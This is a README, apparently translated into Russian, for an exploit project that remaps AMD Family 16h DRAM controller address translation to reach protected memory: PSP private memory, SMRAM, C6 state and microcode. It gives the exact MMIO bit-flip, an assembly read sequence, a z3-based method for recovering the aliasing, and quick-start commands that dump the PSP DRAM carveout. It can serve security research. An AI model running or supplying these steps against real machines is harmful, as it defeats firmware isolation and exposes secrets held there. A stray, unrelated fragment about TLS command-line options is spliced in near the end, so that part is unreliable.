
Разблокировка _всего_ на CPU с помощью скремблирования DRAM
# skitter-creek-bath-salts
> *Разблокировка **всего** на CPU с помощью скремблирования DRAM — PSP, C6, микрокод,
> SMM и всего остального, что осталось за рамками спецификаций.*
`&x == &x`.
Обычно.

Ткните в контроллер DRAM, и адрес можно заставить попасть куда угодно в
памяти. `skitter-creek-bath-salts` модифицирует нижние слои иерархии памяти,
чтобы перекоммутировать трансляции физических адресов DRAM. Это скремблирует
память платформы, обнажая защищённые области DRAM — вырезы, невидимые даже
для ядра. Когда трансляции адресов ломаются, ломаются и примитивы
безопасности, построенные на них, и мы разблокируем *всё*.
---
## TL;DR
- [Разблокируйте ваш Platform Security Processor](#quick-start-unlock-your-platform-security-processor)
- [Разблокируйте System Management Mode](#quick-start-unlock-system-management-mode)
- [Разблокируйте C6 DRAM](#quick-start-unlock-cc6-dram)
- [Разблокируйте микрокод вашего CPU](#quick-start-unlock-your-cpu-microcode)
---
## Цель
Разработано и протестировано на **AMD Family 16h CPUs**, последнем поколении,
в даташитах которого документированы регистры трансляции контроллера DRAM — и
показано, что их нельзя заблокировать. 17h и далее просто опускают эту
информацию. [Одиссея `*p`](#the-odyssey-of-p) похожа across generations и
архитектур, а лежащие в основе преобразования простираются даже до ARM, RISC-V и
дальше; `skitter-creek-bath-salts` показывает нам [**лишь то, как начать**](#the-shared-pipeline).
---
## Одиссея `*p`
> *Это долгий путь вниз.*
Память построена на слоях абстракции настолько глубоких, что они становятся почти
абсурдными. Когда ваш код разыменовывает `*p`, кажется, что он обращается к DRAM по адресу `p`. Это не так —
`p` — это виртуальный адрес, и прежде чем будет затронут хотя бы один бит DRAM, он должен
пройти через испытание, описанное ниже:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── **physical address k** <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
```
Этот проект работает на самых глубоких уровнях конвейера `*p`, на уровне MCT/DCT
— там, где физический адрес из data fabric/interconnect попадает в контроллер
памяти и переписывается в последний раз в необработанные координаты DRAM, которые
выдаются на DIMM.
---
## Спагеттификация DRAM
> Физические адреса — это, скорее, рекомендация.```nasm
xor dword [0xf80c2094], 0x00400000
```
Вот эксплойт. Весь целиком.
Один бит-флип в контроллере DRAM перекоммутирует нижнюю часть конвейера `*p`, и данные, которые были по адресу `&x`, оказываются где-то ещё в процессе выполнения. Внезапно `&x != &x`. Все механизмы, которые CPU, прошивка, uncore и чипсет используют для изоляции защищённой памяти, находятся выше контроллера памяти, и ни один из них не видит того, что происходит ниже. Барьеры охраняют физические адреса, а не координаты DRAM; переставьте координаты — и барьеры выше этого никогда не заметят.
Но перекоммутировать DRAM легко. Бит выше — это режим bank-swizzle в DCT, и он лишь один из десятков, управляющих переотображением адресов на финальном уровне — достаточно лишь ткнуть в них, чтобы всё, что построено сверху, рухнуло. Сложнее потом удержать платформу в рабочем состоянии, когда вся системная память перемешивается под ней.
Трюк: действовать быстро и *не трогать DRAM*. Отключить AP, прогреть TLB, разогреть кэш, запретить прерывания, сбросить цель, сериализовать обращения к памяти и надеяться, что CPU предвыбрал предстоящие инструкции. Затем перекоммутировать MCT/DCT, чтобы превратить DRAM в спагетти, вытащить немного данных из защищённой области, вернуть отображения, снова сериализовать, разрешить прерывания, возобновить AP — и платформа возвращается в норму.```nasm
mov eax, [0xf80c2094] ; prime mmio TLB
mov eax, [0x6f800000] ; prime target TLB
pushf ; preserve flags
cli ; interrupts off
clflush [0x6f800000] ; evict the target, force the dram read
mfence ; barrier - no coherent world dram access
lfence ; reordered into spaghettified view
xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000] ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble
mfence ; barrier - no spaghettified dram access
lfence ; reordered into coherent world view
popf ; interrupts back on
```
При аккуратной настройке страничной адресации, состояний кэша, потоков и TLB можно заставить перестановку адресов работать из C, чтобы проиллюстрировать коллапс конвейера `*p` и искажённое представление платформы, когда внезапно `&x != &x`:

Таким образом, мы можем перестроить карту и восстановить её без следа. Остаётся лишь узнать, во что именно мы её перестроили.
---
## Разблокировка *всего*
> Любая защищённая область памяти на платформе, достижимая с помощью калькулятора.
С помощью описанного выше подхода мы можем перепрограммировать преобразование MCT/DCT на работающей системе — перестроив самую нижнюю ступень конвейера `*p`, чтобы перемешать память под всеми защитами, построенными над ней.
Но есть проблема: хотя мы можем перепрограммировать трансляцию простой командой `xor dword [0xf80c2094], 0x00400000`, мы понятия не имеем, какие новые преобразования будет использовать MCT/DCT (документация здесь недостаточно подробна — xor-карты неверны, вычитающая ступень MMIO неупорядочена, а детали различаются между моделями). Без этого память перемешивается, но у нас нет способа её восстановить.
К счастью, преобразование адресов в контроллере DRAM является линейным отображением над GF(2), а значит, мы можем восстановить перемешанную память с помощью базовой линейной алгебры.
Сначала рассмотрим обычный случай: прямое преобразование конфигурации MCT/DCT по умолчанию применяется к некоторому физическому адресу, который попадает в секретную область DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
```
Это *согласованное* представление памяти: низшая ступень конвейера `*p`
работает в точности так, как должна.
Теперь перекоммутируйте ступень MCT/DCT в `*p` с помощью `xor dword [0xf80c2094], 0x00400000`,
и платформа переходит в перемешанное/спагеттифицированное представление памяти, где
другое преобразование позволяет *алиасу* достичь того же секрета в DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
```
Этот псевдоним позволяет нам достичь того же секрета, не затрагивая существующие платформенные
блокировки и защиты, созданные для когерентного представления. Чтобы найти псевдоним, скомпонуйте
обратную от атакующего/спагеттифицированного хеша с прямой от
прошивочного/когерентного хеша, чтобы получить трансляцию, которая достигнет любого секрета из
вредоносной конфигурации MCT/DCT:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
```
Сложность лишь в том, что матрицы неизвестны, а значит, мы *понятия не имеем*, как на самом деле перемешана память, и у нас нет преобразования, которое можно было бы использовать, чтобы добраться до секрета:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
```
К счастью, на этом этапе это уже просто линейная алгебра, и при желании преобразования можно решить вручную. Или: калькулятором.
Мы используем [z3](https://github.com/z3prover/z3). Сначала SMT-решателю нужны ограничения, с которыми он будет работать.
Начните в когерентном представлении, измените MCT/DCT, чтобы переключиться на «спагеттифицированное» представление, запишите какое-нибудь сигнальное значение вроде `0xdeadc0de` по случайному адресу в памяти, переключитесь обратно в когерентное представление и просканируйте память в поисках того, где это сигнальное значение всплывёт снова. Это даёт пару (цель, алиас) — конкретную точку данных, показывающую два физических адреса, которые отображаются на одну и ту же ячейку в DRAM. Повторите процесс, соберите несколько таких точек, передайте их в z3, и он решит матрицу преобразования, необходимую для перевода между двумя представлениями — любой физический адрес в когерентном представлении с одной стороны и его алиас в «спагеттифицированном» представлении с другой:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
```
Передача пар алиасов в z3 по одной позволяет наблюдать, как SMT-решатель расшифровывает
перемешивание памяти в реальном времени, как показано на [открывающем
изображении](#skitter-creek-bath-salts).
Решённое преобразование — это розеттский камень: любой целевой адрес в когерентном представлении
отображается на алиас, который достигает той же DRAM в спагеттифицированном представлении. Чтобы достичь
любой защищённой памяти, возьмите адрес, к которому мы обычно не можем получить доступ — приватная
память PSP, SMRAM, состояние простоя C6 — и пропустите его через преобразование, чтобы получить его
алиас. Затем перекоммутируйте DCT с помощью `xor dword [0xf80c2094], 0x00400000`, прочитайте или
запишите алиас и переключитесь обратно вторым `xor`. Путь алиаса через
конвейер `*p` никогда не встречает барьер, который платформа построила для когерентного представления —
неограниченный доступ к чему угодно в DRAM.

В конце концов, всё столь тщательно отгороженное — приватная память PSP, SMRAM,
состояние простоя C6, недоступные из ОС, ring-0, иногда и сам CPU — всё ещё находится в тех же
конденсаторах DRAM. Но замки были построены вокруг когерентного представления памяти и ничего не делают
против спагеттифицированного алиаса, достигающего той же ячейки.
Переверните один бит на последнем уровне конвейера `*p`, и мы разблокировали
всё.
---
## Быстрый старт: разблокируйте свой Platform Security Processor
> *Вмешайтесь в свой PSP, посмотрите, что произойдёт.*
fTPM работает на собственном ядре ARM процессора PSP, в выделенной области DRAM сразу за
видимой верхней границей памяти. Доберитесь до неё, заалиасив видимый ОС физический адрес
на неё, извлеките байты, дизассемблируйте.```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
```
- **`--no-verify`** — пропустить проверку TLS-сертификата (небезопасно, только для тестирования)
- **`--timeout`** — таймаут запроса в секундах (по умолчанию: 10)
```
---
[Read more](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts)